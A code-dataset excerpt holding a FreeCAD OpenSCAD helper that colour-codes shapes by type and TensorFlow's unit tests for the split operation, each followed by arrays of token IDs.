src/Mod/OpenSCAD/colorcodeshapes.py
29
4659
#*************************************************************************** #* * #* Copyright (c) 2012 Sebastian Hoogen <github@sebastianhoogen.de> * #* * #* This program is free software; you can redistribute it and/or modify * #* it under the terms of the GNU Lesser General Public License (LGPL) * #* as published by the Free Software Foundation; either version 2 of * #* the License, or (at your option) any later version. * #* for detail see the LICENCE text file. * #* * #* This program is distributed in the hope that it will be useful, * #* but WITHOUT ANY WARRANTY; without even the implied warranty of * #* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * #* GNU Library General Public License for more details. * #* * #* You should have received a copy of the GNU Library General Public * #* License along with this program; if not, write to the Free Software * #* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * #* USA * #* * #*************************************************************************** __title__="FreeCAD OpenSCAD Workbench - 2D helper fuctions" __author__ = "Sebastian Hoogen" __url__ = ["http://www.freecadweb.org"] ''' This Script includes python functions to find out the most basic shape type in a compound and to change the color of shapes according to their shape type ''' import FreeCAD def shapedict(shapelst): return dict([(shape.hashCode(),shape) for shape in shapelst]) def shapeset(shapelst): return set([shape.hashCode() for shape in shapelst]) def mostbasiccompound(comp): '''searches fo the most basic shape in a Compound''' solids=shapeset(comp.Solids) shells=shapeset(comp.Shells) faces=shapeset(comp.Faces) wires=shapeset(comp.Wires) edges=shapeset(comp.Edges) vertexes=shapeset(comp.Vertexes) #FreeCAD.Console.PrintMessage('%s\n' % (str((len(solids),len(shells),len(faces),len(wires),len(edges),len(vertexes))))) for shape in comp.Solids: shells -= shapeset(shape.Shells) faces -= shapeset(shape.Faces) wires -= shapeset(shape.Wires) edges -= shapeset(shape.Edges) vertexes -= shapeset(shape.Vertexes) for shape in comp.Shells: faces -= shapeset(shape.Faces) wires -= shapeset(shape.Wires) edges -= shapeset(shape.Edges) vertexes -= shapeset(shape.Vertexes) for shape in comp.Faces: wires -= shapeset(shape.Wires) edges -= shapeset(shape.Edges) vertexes -= shapeset(shape.Vertexes) for shape in comp.Wires: edges -= shapeset(shape.Edges) vertexes -= shapeset(shape.Vertexes) for shape in comp.Edges: vertexes -= shapeset(shape.Vertexes) #FreeCAD.Console.PrintMessage('%s\n' % (str((len(solids),len(shells),len(faces),len(wires),len(edges),len(vertexes))))) #return len(solids),len(shells),len(faces),len(wires),len(edges),len(vertexes) if vertexes: return "Vertex" elif edges: return "Edge" elif wires: return "Wire" elif faces: return "Face" elif shells: return "Shell" elif solids: return "Solid" def colorcodeshapes(objs): shapecolors={ "Compound":(0.3,0.3,0.4), "CompSolid":(0.1,0.5,0.0), "Solid":(0.0,0.8,0.0), "Shell":(0.8,0.0,0.0), "Face":(0.6,0.6,0.0), "Wire":(0.1,0.1,0.1), "Edge":(1.0,1.0,1.0), "Vertex":(8.0,8.0,8.0), "Shape":(0.0,0.0,1.0), None:(0.0,0.0,0.0)} for obj in objs: if hasattr(obj,'Shape'): try: if obj.Shape.isNull(): continue if not obj.Shape.isValid(): color=(1.0,0.4,0.4) else: st=obj.Shape.ShapeType if st in ["Compound","CompSolid"]: st = mostbasiccompound(obj.Shape) color=shapecolors[st] obj.ViewObject.ShapeColor = color except: raise #colorcodeshapes(App.ActiveDocument.Objects)
lgpl-2.1
[ 3, 17623, 199, 15002, 17997, 627, 199, 15002, 257, 1898, 334, 67, 9, 6029, 428, 2871, 1810, 5653, 28673, 26300, 665, 5031, 32, 261, 66, 1810, 5653, 526, 26300, 14, 271, 30, 755, 627, 199, 15002, 17997, 627, 199, 15002, 257, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 221, 627, 199, 15002, 257, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 844, 334, 44, 12006, 9, 259, 627, 199, 15002, 257, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 258, 627, 199, 15002, 257, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 7861, 627, 199, 15002, 257, 367, 10093, 1937, 314, 5059, 6013, 1318, 570, 14, 2476, 627, 199, 15002, 17997, 627, 199, 15002, 257, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 755, 627, 199, 15002, 257, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 263, 627, 199, 15002, 257, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 260, 627, 199, 15002, 257, 1664, 11243, 1696, 1684, 844, 367, 1655, 2436, 14, 8295, 627, 199, 15002, 17997, 627, 199, 15002, 257, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 11243, 1696, 1684, 258, 627, 199, 15002, 257, 844, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 257, 627, 199, 15002, 257, 2752, 12, 3277, 2020, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 221, 627, 199, 15002, 257, 8217, 6208, 257, 627, 199, 15002, 17997, 627, 199, 3, 17623, 199, 199, 363, 1213, 363, 628, 10146, 17238, 3232, 5153, 1554, 9361, 16571, 446, 499, 36, 5922, 15632, 2452, 2, 199, 363, 2502, 363, 275, 298, 1513, 66, 1810, 5653, 28673, 26300, 2, 199, 363, 633, 363, 275, 2097, 1014, 921, 1544, 14, 20153, 825, 350, 2520, 14, 1308, 937, 199, 199, 2344, 199, 2765, 14914, 6952, 2366, 3423, 370, 2342, 734, 314, 4750, 5678, 2215, 730, 199, 262, 282, 16487, 436, 370, 1570, 314, 3164, 402, 11751, 7182, 370, 3932, 2215, 730, 199, 2344, 199, 199, 646, 20914, 199, 318, 2215, 807, 8, 1392, 6916, 304, 272, 372, 1211, 7694, 1392, 14, 2227, 3034, 1062, 1392, 9, 367, 2215, 315, 2215, 6916, 566, 199, 199, 318, 2215, 409, 8, 1392, 6916, 304, 272, 372, 663, 779, 1392, 14, 2227, 3034, 342, 367, 2215, 315, 2215, 6916, 566, 199, 199, 318, 4750, 4316, 15278, 8, 863, 304, 272, 1449, 1733, 397, 7090, 314, 4750, 5678, 2215, 315, 282, 3599, 1034, 2344, 272, 880, 317, 795, 29, 1392, 409, 8, 863, 14, 5158, 317, 795, 9, 272, 1033, 6840, 29, 1392, 409, 8, 863, 14, 2662, 6840, 9, 272, 21143, 29, 1392, 409, 8, 863, 14, 1906, 823, 9, 272, 26038, 470, 29, 1392, 409, 8, 863, 14, 55, 73, 470, 9, 272, 8207, 29, 1392, 409, 8, 863, 14, 24121, 9, 272, 12759, 397, 29, 1392, 409, 8, 863, 14, 9787, 397, 9, 272, 327, 10146, 17238, 14, 9270, 14, 5375, 2209, 3508, 83, 60, 78, 7, 450, 334, 495, 1332, 552, 8, 28335, 795, 395, 552, 8, 609, 6840, 395, 552, 8, 4309, 395, 552, 8, 14249, 470, 395, 552, 8, 6929, 395, 552, 8, 11417, 397, 430, 1724, 272, 367, 2215, 315, 1013, 14, 5158, 317, 795, 26, 267, 1033, 6840, 4862, 2215, 409, 8, 1392, 14, 2662, 6840, 9, 267, 21143, 4862, 2215, 409, 8, 1392, 14, 1906, 823, 9, 267, 26038, 470, 4862, 2215, 409, 8, 1392, 14, 55, 73, 470, 9, 267, 8207, 4862, 2215, 409, 8, 1392, 14, 24121, 9, 267, 12759, 397, 4862, 2215, 409, 8, 1392, 14, 9787, 397, 9, 272, 367, 2215, 315, 1013, 14, 2662, 6840, 26, 267, 21143, 4862, 2215, 409, 8, 1392, 14, 1906, 823, 9, 267, 26038, 470, 4862, 2215, 409, 8, 1392, 14, 55, 73, 470, 9, 267, 8207, 4862, 2215, 409, 8, 1392, 14, 24121, 9, 267, 12759, 397, 4862, 2215, 409, 8, 1392, 14, 9787, 397, 9, 272, 367, 2215, 315, 1013, 14, 1906, 823, 26, 267, 26038, 470, 4862, 2215, 409, 8, 1392, 14, 55, 73, 470, 9, 267, 8207, 4862, 2215, 409, 8, 1392, 14, 24121, 9, 267, 12759, 397, 4862, 2215, 409, 8, 1392, 14, 9787, 397, 9, 272, 367, 2215, 315, 1013, 14, 55, 73, 470, 26, 267, 8207, 4862, 2215, 409, 8, 1392, 14, 24121, 9, 267, 12759, 397, 4862, 2215, 409, 8, 1392, 14, 9787, 397, 9, 272, 367, 2215, 315, 1013, 14, 24121, 26, 267, 12759, 397, 4862, 2215, 409, 8, 1392, 14, 9787, 397, 9, 272, 327, 10146, 17238, 14, 9270, 14, 5375, 2209, 3508, 83, 60, 78, 7, 450, 334, 495, 1332, 552, 8, 28335, 795, 395, 552, 8, 609, 6840, 395, 552, 8, 4309, 395, 552, 8, 14249, 470, 395, 552, 8, 6929, 395, 552, 8, 11417, 397, 430, 1724, 272, 327, 1107, 822, 8, 28335, 795, 395, 552, 8, 609, 6840, 395, 552, 8, 4309, 395, 552, 8, 14249, 470, 395, 552, 8, 6929, 395, 552, 8, 11417, 397, 9, 272, 340, 12759, 397, 26, 267, 372, 298, 9787, 2, 272, 916, 8207, 26, 267, 372, 298, 12886, 2, 272, 916, 26038, 470, 26, 267, 372, 298, 25791, 2, 272, 916, 21143, 26, 267, 372, 298, 13414, 2, 272, 916, 1033, 6840, 26, 267, 372, 298, 8529, 2, 272, 916, 880, 317, 795, 26, 267, 372, 298, 5158, 7401, 2, 199, 199, 318, 3164, 600, 9069, 8, 8718, 304, 272, 2215, 7120, 3126, 267, 298, 26552, 582, 8, 16, 14, 19, 12, 16, 14, 19, 12, 16, 14, 20, 395, 267, 298, 2404, 5158, 7401, 582, 8, 16, 14, 17, 12, 16, 14, 21, 12, 16, 14, 16, 395, 267, 298, 5158, 7401, 582, 8, 16, 14, 16, 12, 16, 14, 24, 12, 16, 14, 16, 395, 267, 298, 8529, 582, 8, 16, 14, 24, 12, 16, 14, 16, 12, 16, 14, 16, 395, 267, 298, 13414, 582, 8, 16, 14, 22, 12, 16, 14, 22, 12, 16, 14, 16, 395, 267, 298, 25791, 582, 8, 16, 14, 17, 12, 16, 14, 17, 12, 16, 14 ]
[ 17623, 199, 15002, 17997, 627, 199, 15002, 257, 1898, 334, 67, 9, 6029, 428, 2871, 1810, 5653, 28673, 26300, 665, 5031, 32, 261, 66, 1810, 5653, 526, 26300, 14, 271, 30, 755, 627, 199, 15002, 17997, 627, 199, 15002, 257, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 221, 627, 199, 15002, 257, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 844, 334, 44, 12006, 9, 259, 627, 199, 15002, 257, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 258, 627, 199, 15002, 257, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 7861, 627, 199, 15002, 257, 367, 10093, 1937, 314, 5059, 6013, 1318, 570, 14, 2476, 627, 199, 15002, 17997, 627, 199, 15002, 257, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 755, 627, 199, 15002, 257, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 263, 627, 199, 15002, 257, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 260, 627, 199, 15002, 257, 1664, 11243, 1696, 1684, 844, 367, 1655, 2436, 14, 8295, 627, 199, 15002, 17997, 627, 199, 15002, 257, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 11243, 1696, 1684, 258, 627, 199, 15002, 257, 844, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 257, 627, 199, 15002, 257, 2752, 12, 3277, 2020, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 221, 627, 199, 15002, 257, 8217, 6208, 257, 627, 199, 15002, 17997, 627, 199, 3, 17623, 199, 199, 363, 1213, 363, 628, 10146, 17238, 3232, 5153, 1554, 9361, 16571, 446, 499, 36, 5922, 15632, 2452, 2, 199, 363, 2502, 363, 275, 298, 1513, 66, 1810, 5653, 28673, 26300, 2, 199, 363, 633, 363, 275, 2097, 1014, 921, 1544, 14, 20153, 825, 350, 2520, 14, 1308, 937, 199, 199, 2344, 199, 2765, 14914, 6952, 2366, 3423, 370, 2342, 734, 314, 4750, 5678, 2215, 730, 199, 262, 282, 16487, 436, 370, 1570, 314, 3164, 402, 11751, 7182, 370, 3932, 2215, 730, 199, 2344, 199, 199, 646, 20914, 199, 318, 2215, 807, 8, 1392, 6916, 304, 272, 372, 1211, 7694, 1392, 14, 2227, 3034, 1062, 1392, 9, 367, 2215, 315, 2215, 6916, 566, 199, 199, 318, 2215, 409, 8, 1392, 6916, 304, 272, 372, 663, 779, 1392, 14, 2227, 3034, 342, 367, 2215, 315, 2215, 6916, 566, 199, 199, 318, 4750, 4316, 15278, 8, 863, 304, 272, 1449, 1733, 397, 7090, 314, 4750, 5678, 2215, 315, 282, 3599, 1034, 2344, 272, 880, 317, 795, 29, 1392, 409, 8, 863, 14, 5158, 317, 795, 9, 272, 1033, 6840, 29, 1392, 409, 8, 863, 14, 2662, 6840, 9, 272, 21143, 29, 1392, 409, 8, 863, 14, 1906, 823, 9, 272, 26038, 470, 29, 1392, 409, 8, 863, 14, 55, 73, 470, 9, 272, 8207, 29, 1392, 409, 8, 863, 14, 24121, 9, 272, 12759, 397, 29, 1392, 409, 8, 863, 14, 9787, 397, 9, 272, 327, 10146, 17238, 14, 9270, 14, 5375, 2209, 3508, 83, 60, 78, 7, 450, 334, 495, 1332, 552, 8, 28335, 795, 395, 552, 8, 609, 6840, 395, 552, 8, 4309, 395, 552, 8, 14249, 470, 395, 552, 8, 6929, 395, 552, 8, 11417, 397, 430, 1724, 272, 367, 2215, 315, 1013, 14, 5158, 317, 795, 26, 267, 1033, 6840, 4862, 2215, 409, 8, 1392, 14, 2662, 6840, 9, 267, 21143, 4862, 2215, 409, 8, 1392, 14, 1906, 823, 9, 267, 26038, 470, 4862, 2215, 409, 8, 1392, 14, 55, 73, 470, 9, 267, 8207, 4862, 2215, 409, 8, 1392, 14, 24121, 9, 267, 12759, 397, 4862, 2215, 409, 8, 1392, 14, 9787, 397, 9, 272, 367, 2215, 315, 1013, 14, 2662, 6840, 26, 267, 21143, 4862, 2215, 409, 8, 1392, 14, 1906, 823, 9, 267, 26038, 470, 4862, 2215, 409, 8, 1392, 14, 55, 73, 470, 9, 267, 8207, 4862, 2215, 409, 8, 1392, 14, 24121, 9, 267, 12759, 397, 4862, 2215, 409, 8, 1392, 14, 9787, 397, 9, 272, 367, 2215, 315, 1013, 14, 1906, 823, 26, 267, 26038, 470, 4862, 2215, 409, 8, 1392, 14, 55, 73, 470, 9, 267, 8207, 4862, 2215, 409, 8, 1392, 14, 24121, 9, 267, 12759, 397, 4862, 2215, 409, 8, 1392, 14, 9787, 397, 9, 272, 367, 2215, 315, 1013, 14, 55, 73, 470, 26, 267, 8207, 4862, 2215, 409, 8, 1392, 14, 24121, 9, 267, 12759, 397, 4862, 2215, 409, 8, 1392, 14, 9787, 397, 9, 272, 367, 2215, 315, 1013, 14, 24121, 26, 267, 12759, 397, 4862, 2215, 409, 8, 1392, 14, 9787, 397, 9, 272, 327, 10146, 17238, 14, 9270, 14, 5375, 2209, 3508, 83, 60, 78, 7, 450, 334, 495, 1332, 552, 8, 28335, 795, 395, 552, 8, 609, 6840, 395, 552, 8, 4309, 395, 552, 8, 14249, 470, 395, 552, 8, 6929, 395, 552, 8, 11417, 397, 430, 1724, 272, 327, 1107, 822, 8, 28335, 795, 395, 552, 8, 609, 6840, 395, 552, 8, 4309, 395, 552, 8, 14249, 470, 395, 552, 8, 6929, 395, 552, 8, 11417, 397, 9, 272, 340, 12759, 397, 26, 267, 372, 298, 9787, 2, 272, 916, 8207, 26, 267, 372, 298, 12886, 2, 272, 916, 26038, 470, 26, 267, 372, 298, 25791, 2, 272, 916, 21143, 26, 267, 372, 298, 13414, 2, 272, 916, 1033, 6840, 26, 267, 372, 298, 8529, 2, 272, 916, 880, 317, 795, 26, 267, 372, 298, 5158, 7401, 2, 199, 199, 318, 3164, 600, 9069, 8, 8718, 304, 272, 2215, 7120, 3126, 267, 298, 26552, 582, 8, 16, 14, 19, 12, 16, 14, 19, 12, 16, 14, 20, 395, 267, 298, 2404, 5158, 7401, 582, 8, 16, 14, 17, 12, 16, 14, 21, 12, 16, 14, 16, 395, 267, 298, 5158, 7401, 582, 8, 16, 14, 16, 12, 16, 14, 24, 12, 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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
with-git/tensorflow
tensorflow/python/kernel_tests/split_op_test.py
38
12123
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Functional tests for Split Op.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors_impl from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import gradients_impl from tensorflow.python.ops import math_ops from tensorflow.python.platform import test _TEST_DTYPES = (dtypes.float32, dtypes.float64, dtypes.complex64, dtypes.complex128) class SplitOpTest(test.TestCase): def _makeData(self, shape, dtype): data = np.random.rand(*shape).astype(dtype.as_numpy_dtype) if dtype.is_complex: data -= 1j * data return data def testShapeInference(self): model_input = array_ops.placeholder(dtypes.float32, shape=(1, 10)) # check that we fail during static shape inference if sizes are known with self.assertRaises(ValueError): # pylint: disable=expression-not-assigned array_ops.split(model_input, [4], axis=1)[0] # pylint: enable=expression-not-assigned model_input = array_ops.placeholder(dtypes.float32) inp = np.zeros((1, 10)) # check that we still fail at runtime if the shapes were unknown with self.test_session(use_gpu=True) as sess: with self.assertRaises(errors_impl.InvalidArgumentError): sess.run(array_ops.split(model_input, [4]), {model_input: inp}) # test that we can pass a scalar Tensor as num_splits for axis in [0, -2]: with self.test_session(use_gpu=True) as sess: result = sess.run( array_ops.split( array_ops.ones([4, 4]), num_or_size_splits=array_ops.ones([2, 2]).get_shape()[1], axis=axis)) self.assertEqual(result[0].shape, (2, 4)) self.assertEqual(result[1].shape, (2, 4)) # test that none split dimensions remain, even if we don't know how # the split_dim will be split, but we do know the axis result = array_ops.split( array_ops.ones([5, 2]), array_ops.constant([2, 1, 2]) * 1, axis=0) self.assertEqual(result[0].shape[1], 2) self.assertEqual(result[1].shape[1], 2) self.assertEqual(result[2].shape[1], 2) model_input2 = array_ops.placeholder(dtypes.float32, shape=[None, 2]) result = array_ops.split(model_input2, [2, 2], axis=0)[0] with self.test_session(use_gpu=True) as sess: sess.run(result, feed_dict={model_input2: np.ones([4, 2])}) def testExplicitNum(self): size_splits = array_ops.placeholder(dtype=dtypes.int32, shape=[None]) value = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] with self.test_session(use_gpu=True) as sess: with self.assertRaises(ValueError) as context: sess.run(array_ops.split(value, size_splits), {size_splits: [2, 2, 6]}) self.assertTrue("Cannot infer num from shape" in str(context.exception)) result = sess.run(array_ops.split( value, size_splits, num=3), {size_splits: [2, 2, 6]}) self.assertAllEqual(result[0], value[0:2]) self.assertAllEqual(result[1], value[2:4]) self.assertAllEqual(result[2], value[4:]) def testListOfScalarTensors(self): a = math_ops.to_int32(5) b = math_ops.to_int32(6) value = np.random.rand(11, 11) with self.test_session(use_gpu=True) as sess: result = sess.run(array_ops.split(value, [a, b])) self.assertAllEqual(result[0], value[0:5, :]) self.assertAllEqual(result[1], value[5:, :]) def _RunAndVerifyVariable(self, dtype, large_num_splits=False): # Random dims of rank 5 shape = np.random.randint(1, 5, size=5) split_dim = np.random.randint(-5, 5) if large_num_splits: num_split = np.random.randint(16, 25) else: num_split = np.random.randint(2, 8) size_splits = np.random.randint(2, 8, num_split) shape[split_dim] = np.sum(size_splits) inp = self._makeData(shape, dtype) with self.test_session(use_gpu=True) as sess: result = sess.run(array_ops.split(inp, size_splits, split_dim)) slices = [slice(0, x) for x in shape] offset = 0 for i in range(num_split): slices[split_dim] = slice(offset, offset + size_splits[i]) offset += size_splits[i] self.assertAllEqual(result[i], inp[slices]) def _testSpecialCasesVariable(self): inp = np.random.rand(4, 4).astype("f") with self.test_session(use_gpu=True) as sess: result = sess.run(array_ops.split(inp, [4], 0)) self.assertAllEqual(result[0], inp) result = sess.run(array_ops.split(inp, [-1, 3], 0)) self.assertAllEqual(result[0], inp[0:1, :]) self.assertAllEqual(result[1], inp[1:4, :]) def _testHugeNumberOfTensorsVariable(self, dtype): num_split = 10000 size_splits = np.random.randint(1, 3, num_split) shape = [3, np.sum(size_splits)] split_dim = 1 inp = self._makeData(shape, dtype) with self.test_session(use_gpu=True) as sess: result = sess.run(array_ops.split(inp, size_splits, split_dim)) slices = [slice(0, x) for x in shape] offset = 0 for i in range(num_split): slices[split_dim] = slice(offset, offset + size_splits[i]) offset += size_splits[i] self.assertAllEqual(result[i], inp[slices]) def testSpecialCasesVariable(self): self._testSpecialCasesVariable() for dtype in _TEST_DTYPES: self._testHugeNumberOfTensorsVariable(dtype) def _testGradientsSimpleVariable(self, dtype): inp = self._makeData((4, 4), dtype) with self.test_session(use_gpu=True): inp_tensor = ops.convert_to_tensor(inp) s = array_ops.split(inp_tensor, [1, 3], 1) inp_grads = [ self._makeData((4, 1), dtype), self._makeData((4, 3), dtype) ] grad_tensors = [constant_op.constant(x) for x in inp_grads] grad = gradients_impl.gradients(s, [inp_tensor], grad_tensors)[-1] result = grad.eval() self.assertAllEqual(result[:, 0:1], inp_grads[0]) self.assertAllEqual(result[:, 1:4], inp_grads[1]) def testOutputShape(self): for axis in [1, -1]: with self.test_session(use_gpu=True): tensor = array_ops.placeholder(dtypes.float32, shape=[None, 12]) size_splits = [3, 7, 2] outputs = array_ops.split(tensor, size_splits, axis) for i, output in enumerate(outputs): self.assertEqual(output.get_shape().as_list(), [None, size_splits[i]]) def _compare(self, x, dim, num): np_ans = np.split(x, num, dim) with self.test_session(use_gpu=True) as sess: tf_ans = array_ops.split(value=x, num_or_size_splits=num, axis=dim) out = sess.run(tf_ans) self.assertEqual(num, len(np_ans)) self.assertEqual(num, len(np_ans)) self.assertEqual(num, len(out)) for i in range(num): self.assertAllEqual(np_ans[i], out[i]) self.assertShapeEqual(np_ans[i], tf_ans[i]) def testSplitRows(self): for dtype in _TEST_DTYPES: inp = self._makeData((4, 4), dtype) self._compare(inp, 0, 4) def testSplitCols(self): for dtype in _TEST_DTYPES: inp = self._makeData((4, 4), dtype) self._compare(inp, 1, 4) def _testEmpty(self, x, dim, num, expected_shape): with self.test_session() as sess: tf_ans = array_ops.split(value=x, num_or_size_splits=num, axis=dim) out = sess.run(tf_ans) self.assertEqual(x.size, 0) self.assertEqual(len(out), num) for i in range(num): self.assertEqual(out[i].shape, expected_shape) self.assertEqual(expected_shape, tf_ans[i].get_shape()) def testEmpty(self): # Note: np.split returns a rank-0 empty ndarray # if the input ndarray is empty. for dtype in _TEST_DTYPES: inp = self._makeData((8, 0, 21), dtype) self._testEmpty(inp, 0, 2, (4, 0, 21)) self._testEmpty(inp, 0, 4, (2, 0, 21)) self._testEmpty(inp, 1, 4, (8, 0, 21)) self._testEmpty(inp, 2, 3, (8, 0, 7)) self._testEmpty(inp, 2, 7, (8, 0, 3)) def testIdentity(self): for dtype in _TEST_DTYPES: inp = self._makeData((2, 2, 2), dtype) self._compare(inp, 0, 1) self._compare(inp, 1, 1) self._compare(inp, 2, 1) def testSplitDim0(self): for dtype in _TEST_DTYPES: self._compare(self._makeData((6, 10, 18), dtype), 0, 3) self._compare(self._makeData((6, 7, 18), dtype), 0, 3) self._compare(self._makeData((6, 7, 9), dtype), 0, 3) def _RunAndVerify(self, dtype, large_num_splits=False): # Random dims of rank 5 shape = np.random.randint(0, 5, size=5) split_dim = np.random.randint(-5, 5) if large_num_splits: num_split = np.random.randint(9, 15) else: num_split = np.random.randint(2, 8) shape[split_dim] = np.random.randint(2, 5) * num_split inp = self._makeData(shape, dtype) with self.test_session(use_gpu=True) as sess: result = sess.run( array_ops.split( value=inp, num_or_size_splits=num_split, axis=split_dim)) slices = [slice(0, x) for x in shape] offset = 0 length = shape[split_dim] // num_split for i in range(num_split): slices[split_dim] = slice(offset, offset + length) offset += length self.assertAllEqual(result[i], inp[slices]) def testRandom(self): for dtype in _TEST_DTYPES: for _ in range(5): self._RunAndVerify(dtype) self._RunAndVerify(dtype, large_num_splits=True) self._RunAndVerifyVariable(dtype) self._RunAndVerifyVariable(dtype, large_num_splits=True) def _testGradientsSimple(self, dtype): inp = self._makeData((4, 4), dtype) with self.test_session(use_gpu=True): inp_tensor = ops.convert_to_tensor(inp) s = array_ops.split(value=inp_tensor, num_or_size_splits=4, axis=1) inp_grads = [self._makeData((4, 1), dtype)for _ in range(4)] grad_tensors = [constant_op.constant(x) for x in inp_grads] grad = gradients_impl.gradients(s, [inp_tensor], grad_tensors)[0] result = grad.eval() for i in range(4): self.assertAllEqual(result[:, i:i + 1], inp_grads[i]) def testGradientsAll(self): for dtype in _TEST_DTYPES: self._testGradientsSimple(dtype) self._testGradientsSimpleVariable(dtype) def testShapeFunctionEdgeCases(self): # split_dim greater than rank of input. with self.assertRaises(ValueError): array_ops.split(value=[[0, 1], [2, 3]], num_or_size_splits=4, axis=2) # split dim less than -(rank of input) with self.assertRaises(ValueError): array_ops.split(value=[[0, 1], [2, 3]], num_or_size_splits=4, axis=-3) # num_split does not evenly divide the size in split_dim. with self.assertRaisesRegexp(ValueError, "should evenly divide"): array_ops.split(value=[0, 1, 2, 3], num_or_size_splits=3, axis=0) # Unknown split_dim. splits = array_ops.split( value=[[0, 1, 2, 3]], num_or_size_splits=4, axis=array_ops.placeholder(dtypes.int32)) for s in splits: self.assertEqual([None, None], s.get_shape().as_list()) # Unknown split_dim and input shape. splits = array_ops.split( value=array_ops.placeholder(dtypes.float32), num_or_size_splits=4, axis=array_ops.placeholder(dtypes.int32)) for s in splits: self.assertEqual(None, s.get_shape().ndims) if __name__ == "__main__": test.main()
apache-2.0
[ 3, 1898, 6900, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 3481, 279, 2295, 367, 11740, 9319, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2552, 63, 5472, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 12661, 63, 5472, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 199, 63, 2864, 63, 36, 7893, 275, 334, 5717, 14, 1609, 708, 12, 6674, 14, 1609, 772, 12, 6674, 14, 5254, 772, 12, 355, 6674, 14, 5254, 3933, 9, 421, 199, 533, 11740, 4619, 774, 8, 396, 14, 1746, 304, 819, 347, 485, 1875, 1451, 8, 277, 12, 2215, 12, 2152, 304, 272, 666, 275, 980, 14, 2355, 14, 3759, 2031, 1392, 680, 6041, 8, 2271, 14, 305, 63, 4714, 63, 2271, 9, 272, 340, 2152, 14, 374, 63, 5254, 26, 489, 666, 4862, 413, 74, 627, 666, 272, 372, 666, 819, 347, 511, 7238, 29731, 8, 277, 304, 272, 1402, 63, 1210, 275, 1625, 63, 1483, 14, 6199, 8, 5717, 14, 1609, 708, 12, 2215, 2687, 17, 12, 1616, 430, 339, 327, 1104, 626, 781, 2449, 5309, 2955, 2215, 17353, 340, 10627, 787, 6040, 272, 543, 291, 14, 1855, 8, 3393, 304, 489, 327, 4287, 26, 3507, 29, 5599, 13, 1397, 13, 12941, 489, 1625, 63, 1483, 14, 1294, 8, 1238, 63, 1210, 12, 359, 20, 467, 3114, 29, 17, 2788, 16, 61, 489, 327, 4287, 26, 4756, 29, 5599, 13, 1397, 